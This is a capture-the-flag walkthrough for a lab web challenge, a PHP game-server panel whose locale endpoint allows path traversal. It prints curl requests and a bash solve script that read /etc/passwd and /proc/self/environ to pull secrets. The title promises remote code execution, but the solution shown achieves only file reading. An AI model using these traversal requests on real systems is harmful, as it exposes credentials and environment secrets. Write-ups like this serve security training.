ServerNest — LFI to RCE via Locale Loading
ServerNest — LFI to RCE via Locale Loading
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: environment_variable_exfiltration, javascript_source_analysis, path_traversal_lfi, proc_self_environ_read, unauthenticated_endpoint_discovery
Summary
Walkthrough of the CUSTOM Web ServerNest — LFI to RCE via Locale Loading. Task: PHP game server management panel with locale/i18n loading endpoint vulnerable to path traversal via namespace parameter. Solution: discovered unauthenticated /locales/locale.json endpoint from J
Description
ServerNest is a web-based game server management panel built by NestOps Technologies. It allows administrators to deploy, monitor, and manage dedicated game servers for communities and teams. The platform provides a real-time dashboard with server metrics, user management, and a comprehensive activity log.
Your goal is to find a vulnerability in the application that allows you to achieve remote code execution on the underlying server and retrieve the flag stored on the system.
The dashboard is publicly accessible, but most management features require authentication. Look carefully at how the application handles its internationalization and translation loading — not all endpoints require a login.
Credentials: user@test.com / password123
English summary: A PHP-based game server management panel with an internationalization (i18n) system. The locale loading endpoint is unauthenticated and the namespace parameter is vulnerable to path traversal, allowing arbitrary file read. The flag is stored as an environment variable accessible via /proc/self/environ.
Analysis
Tech Stack
- PHP 8.2.26 running via built-in dev server:
php -S 0.0.0.0:8080 -t /app/public /app/public/router.php - nginx/1.25.5 as reverse proxy
- Alpine Linux container
- App root:
/app/public
Endpoint Discovery
The main page loads app.js which contains a LocaleManager object that reveals the locale loading endpoint:
javascript read-only • copy allowedconst LocaleManager = { currentLocale: 'en', async loadTranslations(locale, namespace) { try { const resp = await fetch(`/locales/locale.json?locale=${encodeURIComponent(locale)}&namespace=${encodeURIComponent(namespace)}`); if (!resp.ok) return null; return await resp.json(); } catch (e) { console.error('[i18n] Failed to load', locale, namespace, e); return null; } }, // ... };
This reveals the unauthenticated endpoint: GET /locales/locale.json?locale=...&namespace=...
A normal request returns JSON translations:
GET /locales/locale.json?locale=en&namespace=common.json
→ 200 OK with {"app_name": "ServerNest", "dashboard": "Dashboard", ...}
Vulnerability Analysis
The namespace parameter is passed directly to a file read function (likely file_get_contents() or readfile()) without sanitization. The locale parameter IS validated — traversal attempts return {"error":"Translation not found"}. But namespace allows arbitrary path traversal.
Decoy Flag
A honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments and hidden divs on every page. This is designed to trap automated scanners and bots that grep for flag patterns in HTML source.
Solution
Step 1: Discover the locale endpoint
Inspect the JavaScript source at /app.js (or view page source). The LocaleManager object reveals the unauthenticated locale loading endpoint with two parameters: locale and namespace.
Step 2: Confirm LFI via namespace parameter
Test path traversal with 3 levels of ../ to escape from the locale directory to the filesystem root:
bash read-only • copy allowedcurl -s "$URL/locales/locale.json?locale=en&namespace=../../../etc/passwd"
Response confirms Alpine Linux:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/ash
The traversal depth of 3 (../../../) is needed because the locale files are served from approximately /app/public/locales/ — three directories deep from root.
Step 3: Extract the flag from /proc/self/environ
Since the flag is not stored as a file on disk, read the process environment variables:
bash read-only • copy allowedcurl -s "$URL/locales/locale.json?locale=en&namespace=../../../proc/self/environ"
Response (null-byte separated environment variables):
HOSTNAME=09063680a928 SHLVL=1 HOME=/root PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin INSTANCE_UUID=5b541e4a-0b2e-4579-b13a-b1d9f34fe436 PWD=/app FLAG=FLAG{REDACTED}
Full solve script
bash read-only • copy allowed#!/usr/bin/env bash # ServerNest LFI — extract flag from /proc/self/environ URL="${1:?Usage: $0 <target_url>}" echo "[*] Testing LFI via namespace parameter..." PASSWD=$(curl -s "$URL/locales/locale.json?locale=en&namespace=../../../etc/passwd") if echo "$PASSWD" | grep -q "root:"; then echo "[+] LFI confirmed — /etc/passwd readable" else echo "[-] LFI failed" exit 1 fi echo "[*] Reading /proc/self/environ..." ENVIRON=$(curl -s "$URL/locales/locale.json?locale=en&namespace=../../../proc/self/environ") # Extract flag (environ uses null bytes as separators, but curl may show them as spaces) FLAG=$(echo "$ENVIRON" | grep -oP 'FLAG=\K[^ ]+' | head -1) if [ -n "$FLAG" ]; then echo "[+] Flag: $FLAG" else echo "[-] Flag not found in environ. Raw output:" echo "$ENVIRON" | tr '\0' '\n' fi
What did NOT work
- PHP wrappers (
php://filter/convert.base64-encode/resource=...) — the file is loaded viafile_get_contents()orreadfile(), notinclude(), so PHP stream wrappers are not processed - Log poisoning — the app uses PHP's built-in development server, not Apache, so no
/var/log/apache2/access.logexists - Locale parameter traversal — the
localeparameter is properly validated/sanitized and returns an error for any traversal attempt - Filesystem flag search — the flag exists only as an environment variable, not as a file
Key Takeaways / Lessons
- Mastering environment_variable_exfiltration, javascript_source_analysis, path_traversal_lfi, proc_self_environ_read, unauthenticated_endpoint_discovery was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-22 • CUSTOM • ServerNest — LFI to RCE via Locale Loading • Difficulty: Medium